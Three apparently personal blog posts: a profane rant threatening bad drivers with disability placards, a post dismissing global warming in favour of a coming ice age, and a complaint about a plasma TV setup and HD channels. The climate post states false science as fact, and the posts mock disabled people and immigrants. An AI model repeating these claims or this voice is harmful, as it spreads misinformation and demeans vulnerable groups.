Let me give you a hint: those blue handicap placards or handicap stickers on your license plates do not make you invincible or give you carte blanche permission to do stupid shit on the road without repercussions. If you think you're handicapped now, just wait until 3 thousand pounds of screaming steel fucks you up worse that you already are. Just look at what happened to Christopher Reeves and that was just a single horse power, so imagine what my 455 horse power can do to mangle you further.

Summary

The difference between a drunk driver and a your bad driving ass is that at least the drunk driver can sober up but your bad driving is dangerous 24 hours a day, 7 days a week, 365 days a year.

Take a fucking cab before you kill yourself and take innocent people with you.

Just get off the road now, stay off the road, and we'll all live longer and happier lives.

10K Years of Global Warming is Cool

The scientists now yammering about global warming had better go get some parkas and brace for the ice age instead.

Lot's of evidence all over the place that the earth's ice has been melting for a really long time such as the undersea stone age sites located off the British Isles or the Tybrind Vig off the coast of Denmark.

I'm pretty sure these settlements didn't start under water so you have to ask yourself just how much ice had to melt to put them under water?

I'll bet Neanderthal man tried to limit greenhouse gases by banning fire.

Personally, I'm banking on the theory of ice age cycles. Theory hell, there's a lot more evidence in the scientific community that supports crap in the atmosphere ultimately causes cooling than it does warming in the long term. As a matter of fact, many contend that all the fresh water dumping into the ocean causes the ocean currents to stop moving the way we're used to which will disrupt our current weather patterns.

Note that Geologists agree that Egypt was subject to severe flooding at the end of the last Ice Age and that evidence is found on the bottom of the Sphinx in the form of water erosion, opposed to the wind erosion on the upper half, which makes the Sphinx much older than originally speculated.

Either way, it's not going to be pretty, as being too hot or too cold both suck and it looks more likely that cold is in our future.

Needless to say, the landscape will all change, and soon it will be places like Mexico screaming about illegal immigrants as North America is engulfed in a sheet of ice and snow.

Time to go bunk with some Eskimos and learn some basic Ice Age survival skills while there's still time!

Plasma TV Money Pit - The Sequel

The plasma TV did arrive on schedule, as promised, no surprises there.

No surprises until they brought it inside and started to "hook it up" and then give us our "15 minutes of instruction" on how to use it. This was a real fun treat as the "trainer" didn't speak very good broken-English and had no clue how to make the remote and TV all work properly with our cable box which surprising as it's the dominant cable provider in our area.

Luckily I've wired up just about every TV configuration known to mankind and programmed dozens of remotes, so after the INS (working on an anonymous tip) came and collected the delivery men, I got busy getting the system to work together.

OK, we didn't call the INS, but I can dream after being left holding the bag with a TV that they were supposed to connect and show us how to use, can't I?

Now we're having a battle of the remotes and it went from one remote that ran all our gear flawlessly on the old TV to needing 3 remotes just because a couple of special features on each device aren't universal. For instance, I can't seem to get the cable remote to adjust the surround sound volume, it always resorts back to the TV volume regardless of the device selected. Then there's the little issue of the plasma TV aspect ratio, which the cable remote doesn't appear to have when driving the TV. Then of course there are some things the cable DVR remote does that doesn't seem to work on the plasma or surround system remotes. Of course it's possible there's some other codes or crap to feed into the remote that resolve some of this nonsense so perhaps after a little research I'll have more answers.

However, I think it's all a bunch of bullshit, that's what it is.

All these companies that build all these TV components and remotes know exactly what the fuck their customers will be doing with them, there's no surprises here, unless you're the consumer that buys all this shit just to find out you're fucked in the ass yet again. I feel like the girl in the porn video getting double penetration, but since I'm using 3 remotes, it's triple penetration.

The other thing that pisses me off is all of the channels that claim to be HDTV yet put out a 4:3 signal with colorful borders on the side. Sure, it's an HD signal, looks really pretty and all that, but do I really need to see ESPN with the letters "HD" running up both sides of my fucking television?

Then there's the major networks that broadcast full screen HD programs yet the commercials and news are in 4:3 format and you're just sitting there watching this fucking thing bounce back and forth all night until you're about ready to fucking scream.

Drinking helps.

Don't forget those lovely cable movie channels I pay for like HBO and Showtime which have a bunch of channels but only one HDTV channel per brand on Comcast.

Last but not least, we have to mention some of the cable channels that look like complete shit on HDTV and should just be ashamed of themselves.

On the bright side, UHD (Universal's HD channel) showed a preview of the new season of Stargate Atlantis in full blown 1080i and it was absolutely gorgeous.

Now the part you wouldn't expect at all, my Comcast dual-tuner DVR and the HDTV channels have aspect ratio problems with each other. For instance, you're watch Grey's Anatomy in full screen mode and hit pause, there's a little box on the bottom of the DVR status bar that goes off screen. Additionally, if you check the Comcast TV Guide while in full screen mode it chops off some from the top and bottom of the TV Guide because it doesn't know what mode you're in. The two devices, the TV and the DVR, and out of synch and it's damned annoying but you just get used to having a partially hacked off TV Guide on your screen.

Come on all you HD promoting asshats out there, get with the program and fix your shit!


My advice for people that rarely watch DVD's, cable movie channels (HBO, SHO) or regular network TV programming (ABC, CBS, NBC, FOX), would be to skip HDTV as you're just throwing money down the crapper to watch a grainy signal on a big bright TV screen. However, if you watch all those things also available in HDTV on a regular basis, like I do, you'll enjoy it immensely and wonder what took you so long to get on the HDTV bandwagon!

Overall I give HDTV a big thumbs up, but the TV industry still has room to improve.